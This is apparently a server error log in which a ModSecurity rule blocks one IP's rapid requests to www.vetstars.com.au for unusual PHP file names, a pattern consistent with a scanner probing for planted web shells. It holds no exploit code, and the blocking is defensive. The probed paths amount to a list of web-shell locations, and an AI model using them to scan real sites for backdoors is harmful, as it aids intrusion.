[Mon Apr 13 17:03:45.033797 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:65205] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxcW_r4W8fX2GWyGTEfAAAAZg"]
[Mon Apr 13 17:03:45.047979 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:64595] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxcW_r4W8fX2GWyGTEfgAAAYY"]
[Mon Apr 13 17:03:45.136929 2026] [:error] [pid 9314:tid 9320] [client 20.100.201.121:64143] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxcW_r4W8fX2GWyGTEgAAAAYQ"]
[Mon Apr 13 17:03:45.615188 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:64581] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxcTDO3t8R5NaxzYTNOwAAAUc"]
[Mon Apr 13 17:03:46.147271 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:64655] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxcm_r4W8fX2GWyGTEhQAAAYA"]
[Mon Apr 13 17:03:46.344436 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64689] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3akp.php"] [unique_id "adyxcm_r4W8fX2GWyGTEiAAAAZE"]
[Mon Apr 13 17:03:46.368348 2026] [:error] [pid 63309:tid 63331] [client 20.100.201.121:64607] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxckpIKZ10weXpf0UBUAAAABI"]
[Mon Apr 13 17:03:46.664829 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:65164] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxckpIKZ10weXpf0UBUQAAAAk"]
[Mon Apr 13 17:03:47.212056 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:64131] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxczDO3t8R5NaxzYTNPQAAAUg"]
[Mon Apr 13 17:03:47.610055 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:64130] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxczDO3t8R5NaxzYTNQAAAAU8"]
[Mon Apr 13 17:03:47.636454 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:64694] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxczDO3t8R5NaxzYTNQQAAAUA"]
[Mon Apr 13 17:03:48.257109 2026] [:error] [pid 57183:tid 57209] [client 20.100.201.121:64693] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxdDDO3t8R5NaxzYTNSAAAAVg"]
[Mon Apr 13 17:03:48.567775 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:64681] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxdDDO3t8R5NaxzYTNSgAAAUY"]
[Mon Apr 13 17:03:48.783129 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:64186] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxdDDO3t8R5NaxzYTNSwAAAVY"]
[Mon Apr 13 17:03:49.410690 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:64653] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxdTDO3t8R5NaxzYTNUQAAAU0"]
[Mon Apr 13 17:03:49.414024 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:64654] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxdTDO3t8R5NaxzYTNUgAAAUU"]
[Mon Apr 13 17:03:50.108479 2026] [:error] [pid 57183:tid 57209] [client 20.100.201.121:64621] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxdjDO3t8R5NaxzYTNVwAAAVg"]
[Mon Apr 13 17:03:50.326263 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:65165] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxdjDO3t8R5NaxzYTNWAAAAUc"]
[Mon Apr 13 17:03:50.342598 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:64123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxdm_r4W8fX2GWyGTEiwAAAZQ"]
[Mon Apr 13 17:03:50.833279 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64114] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxdm_r4W8fX2GWyGTEjAAAAZA"]
[Mon Apr 13 17:03:51.004365 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:63697] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "adyxd2_r4W8fX2GWyGTEjQAAAYw"]
[Mon Apr 13 17:03:51.369822 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:63652] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxd7HZEIkQ0Zmgp5oUnQAAAMo"]
[Mon Apr 13 17:03:51.386426 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:64139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxd7HZEIkQ0Zmgp5oUngAAAMQ"]
[Mon Apr 13 17:03:51.832102 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:64067] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxd7HZEIkQ0Zmgp5oUnwAAAMA"]
[Mon Apr 13 17:03:52.218490 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:64617] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxeG_r4W8fX2GWyGTEkQAAAY0"]
[Mon Apr 13 17:03:52.339535 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:63681] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxeLHZEIkQ0Zmgp5oUoQAAANQ"]
[Mon Apr 13 17:03:52.786964 2026] [:error] [pid 9314:tid 9317] [client 20.100.201.121:64614] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxeG_r4W8fX2GWyGTEkwAAAYE"]
[Mon Apr 13 17:03:53.091090 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:65161] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxeaHjrGN1MqBCVFnOcwAAAIU"]
[Mon Apr 13 17:03:53.628931 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:64582] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxeW_r4W8fX2GWyGTElwAAAZQ"]
[Mon Apr 13 17:03:53.830147 2026] [:error] [pid 9314:tid 9320] [client 20.100.201.121:64691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxeW_r4W8fX2GWyGTEnAAAAYQ"]
[Mon Apr 13 17:03:53.928861 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64677] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxeW_r4W8fX2GWyGTEnQAAAZc"]
[Mon Apr 13 17:03:54.423363 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:65142] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxem_r4W8fX2GWyGTEnwAAAYA"]
[Mon Apr 13 17:03:54.586594 2026] [:error] [pid 63309:tid 63334] [client 20.100.201.121:65194] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxekpIKZ10weXpf0UBWAAAABU"]
[Mon Apr 13 17:03:55.006016 2026] [:error] [pid 63309:tid 63315] [client 20.100.201.121:65171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adyxe0pIKZ10weXpf0UBWgAAAAI"]
[Mon Apr 13 17:03:55.111647 2026] [:error] [pid 63311:tid 63384] [client 20.100.201.121:64675] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyxe6HjrGN1MqBCVFnOdwAAAI0"]
[Mon Apr 13 17:03:55.136395 2026] [:error] [pid 63311:tid 63373] [client 20.100.201.121:64638] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxe6HjrGN1MqBCVFnOeAAAAII"]
[Mon Apr 13 17:03:55.686720 2026] [:error] [pid 63309:tid 63329] [client 20.100.201.121:64191] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyxe0pIKZ10weXpf0UBWwAAABA"]
[Mon Apr 13 17:03:55.727327 2026] [:error] [pid 7228:tid 7248] [client 20.100.201.121:64698] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxewEnn1dQrOSHHNVWnAAAARI"]
[Mon Apr 13 17:03:56.292109 2026] [:error] [pid 7228:tid 7241] [client 20.100.201.121:64599] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyxfAEnn1dQrOSHHNVWnQAAAQs"]
[Mon Apr 13 17:03:56.607447 2026] [:error] [pid 63311:tid 63391] [client 20.100.201.121:63726] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxfKHjrGN1MqBCVFnOewAAAJQ"]
[Mon Apr 13 17:03:56.862728 2026] [:error] [pid 63311:tid 63388] [client 20.100.201.121:64187] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyxfKHjrGN1MqBCVFnOfAAAAJE"]
[Mon Apr 13 17:03:57.046524 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:64118] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxfW_r4W8fX2GWyGTEogAAAZU"]
[Mon Apr 13 17:03:57.500224 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:64100] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyxfTDO3t8R5NaxzYTNZAAAAUI"]
[Mon Apr 13 17:03:57.683269 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:63692] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxfTDO3t8R5NaxzYTNZQAAAU0"]
[Mon Apr 13 17:03:58.458848 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:65131] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyxfjDO3t8R5NaxzYTNagAAAVM"]
[Mon Apr 13 17:03:58.830455 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:64645] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxfqHjrGN1MqBCVFnOfQAAAJY"]
[Mon Apr 13 17:03:58.995940 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:63691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyxfqHjrGN1MqBCVFnOfwAAAJg"]
[Mon Apr 13 17:03:59.376102 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:64626] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxfwEnn1dQrOSHHNVWowAAAQA"]
[Mon Apr 13 17:03:59.773312 2026] [:error] [pid 63311:tid 63379] [client 20.100.201.121:64133] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyxf6HjrGN1MqBCVFnOhQAAAIg"]
[Mon Apr 13 17:04:00.322636 2026] [:error] [pid 63310:tid 63367] [client 20.100.201.121:63629] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyxgHoXpRU5ztmwPjIttgAAAFc"]
[Mon Apr 13 17:04:00.901563 2026] [:error] [pid 63309:tid 63333] [client 20.100.201.121:65181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyxgEpIKZ10weXpf0UBYAAAABQ"]
[Mon Apr 13 17:04:01.466037 2026] [:error] [pid 63309:tid 63317] [client 20.100.201.121:65198] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyxgUpIKZ10weXpf0UBYQAAAAQ"]
[Mon Apr 13 17:04:01.983380 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:65097] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyxgQEnn1dQrOSHHNVWqAAAAQ8"]
[Mon Apr 13 17:04:02.500816 2026] [:error] [pid 63311:tid 63382] [client 20.100.201.121:64167] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyxgqHjrGN1MqBCVFnOiQAAAIs"]
[Mon Apr 13 17:04:03.127060 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:65120] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyxg6HjrGN1MqBCVFnOjQAAAJY"]
